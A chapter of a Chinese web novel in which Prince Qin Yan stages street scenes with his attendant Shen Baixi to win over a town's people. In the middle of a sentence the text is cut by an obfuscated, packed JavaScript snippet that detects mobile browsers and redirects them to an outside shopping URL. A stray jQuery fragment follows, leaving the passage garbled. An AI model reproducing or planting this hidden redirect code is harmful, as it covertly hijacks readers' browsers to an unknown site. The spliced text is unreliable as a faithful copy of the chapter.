第12章
仔细一想,秦湮和柳聂的关系,好像是有点不一般。
只有柳聂喊秦湮“九爷”,平日里像个仆从般照顾着秦湮的起居,一副鞠躬尽瘁任劳任怨,却又别无所求的样子。
总感觉他们俩之间,没有别人能插足的余地。
沈白溪心里惦记着柳聂的伤,却又清楚自己什么也做不了。他就是个无足轻重的小兵,对柳聂来说是,对秦湮来说更是。就算跑过去大嚷大叫地劝架,也没人会把他当回事。
……淦。
沈白溪抓了把脑袋,强迫自己不去想了。他就是个小炮灰,脑袋别在裤腰上,连能不能看到明天的太阳都不知道,掺和这些大人物的爱恨情仇有什么用?
告别林大夫后,他出了乾恩宫,上街觅食去了。
已近正午,日头晒得厉害。街上百姓来来往往,要么戴斗笠,要么面上蒙条帕巾。沈白溪仰头看了看天——行军这么多天,他也算是被虐习惯了,竟不觉得有多热。
德州城倒真是个富庶地方。烈日当头,满街还坐着叫卖的小贩。沈白溪刚走两步,就被一家饼铺的香气勾得迈不开腿了。
小贩见他穿一身锦袍,笑着招呼:“公子,来个饼不?两文钱一个。”
沈白溪口水都快从嘴角溢出来了,却只能硬着头皮说:“不用。”
他……没钱啊!
沈白溪快被自己穷笑了。上了街一摸口袋,才发现囊中羞涩,浑身上下连半文钱都掏不出来。可就这么回去,肚子又不甘心。
他正琢磨着跟小贩商量赊账的事,身后忽然传来一个声音:“想吃什么就拿,算本王的。”
沈白溪猛地呛了一下。
一回头,身后站着的男人虽是一身书生打扮,青衫广袖,玉冠束发,乍看文质彬彬,可那副高大身形和眉眼间那股子睥睨一切的冷意,怎么遮都遮不住——不是秦湮还能是谁。
……怎么哪里都是你?!
沈白溪还没来得及吐槽,面前的小贩已经吓破了胆,慌慌张张跪下来,一口一个“饶命”。
也是这时候他才发觉,周围的气氛不太对。路人们匆匆遮着面容散去,方才还热闹的店家一时间门可罗雀,只剩死寂。
沈白溪有些讶异。
秦湮的名声,居然这么差?
王率虽开城投降,将秦湮迎进了德州,城里的百姓却对这位走到哪杀到哪的亲王避之不及。
传闻里,厉王秦湮所过之处,无不是血流成河,尸横遍野。
平头百姓哪分得清传闻真假,只知道保命要紧。
秦湮却毫不在意,上前扶起卖饼的小贩,还温和地拍了拍那人的肩:“店家,快请起。”
小贩仍是一脸惊恐,匆忙装好饼子递过去,却怎么也不敢接秦湮递来的白花花的银子。
秦湮执意要给,温声道:“是本王不好,搅了大家的生意,多少也得赔个礼才是。”
他做事滴水不漏,实在挑不出什么毛病。那小贩偷偷打量了一眼秦湮,见此人穿戴周正,举止端方,虽然身形高大,但一身行头跟个书生似的,确实不似传闻中那般青面獠牙。
再一开口,竟还夹着几分亲切的乡音。
听见秦湮与那小贩闲聊起来,似乎没出什么状况,周围几家店铺的掌柜也松了口气,纷纷试探地回到摊前,继续做起生意。
沈白溪在一旁啃着饼子,算是见识了秦湮笼络人心的手段——简直强到了逆天。还没等他啃完饼,那小贩已在秦湮面前哭得像个泪人,一口一个“厉王大人”。
那副相见恨晚的样子,俨然已经被同化成了秦湮万千死忠粉的一员……
好吧,沈白溪再不愿意也得承认:秦湮此人虽说是个道貌岸然的狗东西,却实打实有一身帝王气。面对除他以外的任何人,永远能端出一副明主的样子,喜怒不形于色。
成功攻略了这个小贩之后,秦湮带他离开了集市。他也不问沈白溪的意思,径自做了决定:“你随本王再走几处。具体怎么做,本王稍后再吩咐。”
沈白溪没有拒绝的权力。既然拒绝不了,那就给自己争取点福利。
他按住肚皮:“我肚子饿了,你请我吃点东西,我就答应你。”
“可以。想吃什么?”
“……包子,绿豆汤,酸梅汁,凉面。最好能有个店,坐店里乘着凉吃,那才叫舒服。”
说这话的时候,沈白溪狠狠咽了几口口水。光是在脑子里想象那些香香软软的口感,就快受不了了。
他也不是多饿,就是馋。
秦湮却用一副忍笑的表情盯着他。
沈白溪总觉得那眼神不怀好意,瞪他:“看我干嘛?”
秦湮唇角微微一扬:“无碍。本王就喜欢你没见识的样子。”
沈白溪:“……”
妈的,嫌他穷酸就直说,拐弯抹角的!
但为了那两口吃的,沈白溪忍了。
秦湮带着他寻了几家铺子,边吃边转,顺道照着事先拟好的剧本把戏演了。
有一回,沈白溪扮的是厉王军的逃兵,意外撞见秦湮,受其感化后痛哭流涕,跪在地上求秦湮让自己重返军营。秦湮亲手将他扶起,当街替他拍去膝上的灰土。
有一回,沈白溪扮的是一个路过的酸腐书生,当面指着秦湮的鼻子骂他大逆不道。秦湮却不急不恼,以“为国靖难”四个字条分缕析地驳回去,将那书生说得面红
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799353|210496||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
耳赤,拂袖而去。围观的人群里,不知谁先叫了一声“好”,紧跟着喝彩声便响成了一片。
还有一回,沈白溪扮的是个有手有脚,年纪轻轻就出来要饭的小乞丐,秦湮遇到他,痛心疾首地感化了一番,还说要带他出征、随军历练。
那早就拟好的台词慷慨激昂,滴水不漏,把周围的路人听得直抹眼泪。
有年轻气盛的,主动上前,求秦湮带他也一同上路,为国做一番贡献。
沈白溪看得目瞪口呆。
暂且不论这人有没有帝王风范……秦湮其实更适合当邪/教头子吧?
至于沈白溪自己……他演了一整天的恶人,简直身心俱疲。
好在没有任何人发现,秦湮身边的群演就没换过人。
大概因为他实在太没存在感了吧。
……气死个人。
返回乾恩宫的路上,沈白溪累得快直不起腰,嘟嘟囔囔地抱怨:“咱们就不能坐个马车回去吗?”
秦湮的吃穿用度那般奢侈,怎么轮到赶路,还得用两条腿走?
秦湮的理由倒也充分:“你看这街上有谁乘马车?那群乡绅全藏在宅子里,生怕本王把他们揪出来砍了。”说着,抬手捏了一把他的脸蛋,“你可别坏了本王的名声。”
男人掌心粗粝,沈白溪莫名有点脸热,别过脑袋,说话都磕绊起来:“你、你就这么怕人说你坏话?”
秦湮轻哼一声:“谁叫本王的侄子听信谗言,非说本王想谋反篡位。到处传本王杀人如麻、嗜杀成性、犯上作乱、大逆不道……”
沈白溪真想点头。一个都没说错啊,全是大实话!
看来当今圣上也不是什么昏君!
他正暗自腹诽着,脑袋上忽然压下来一只大手,哄小孩似的揉了揉:“今日多亏了你。”
可手底下的人怎么都不安分,拼命想躲开他。
秦湮低笑。
还是条薄脸皮的小狗。
沈白溪刚要离远些,就猝不及防被男人搂进怀里。隔着薄薄的衣衫,对方身上那股冷香和灼热的体温一起渡了过来。他紧张得心脏都快跳出嗓子眼了,可左右张望一番,周围的路人只是随意扫了他们一眼,好像谁也不觉得两个男人当街亲昵搂抱有什么不妥。
秦湮低下头,声音沉沉地落在他耳畔:“看到没有?带着你,显得本王亲切,平易近人。”
沈白溪脸上的热度还没消,小声嘀咕:“什么意思?”
秦湮微笑:“意思就是——本王连你这样的侍从都不嫌弃,自然是位亲切好说话的明主。”
沈白溪:“……”
他就知道!秦湮这狗嘴里吐不出象牙!!
啊啊啊!!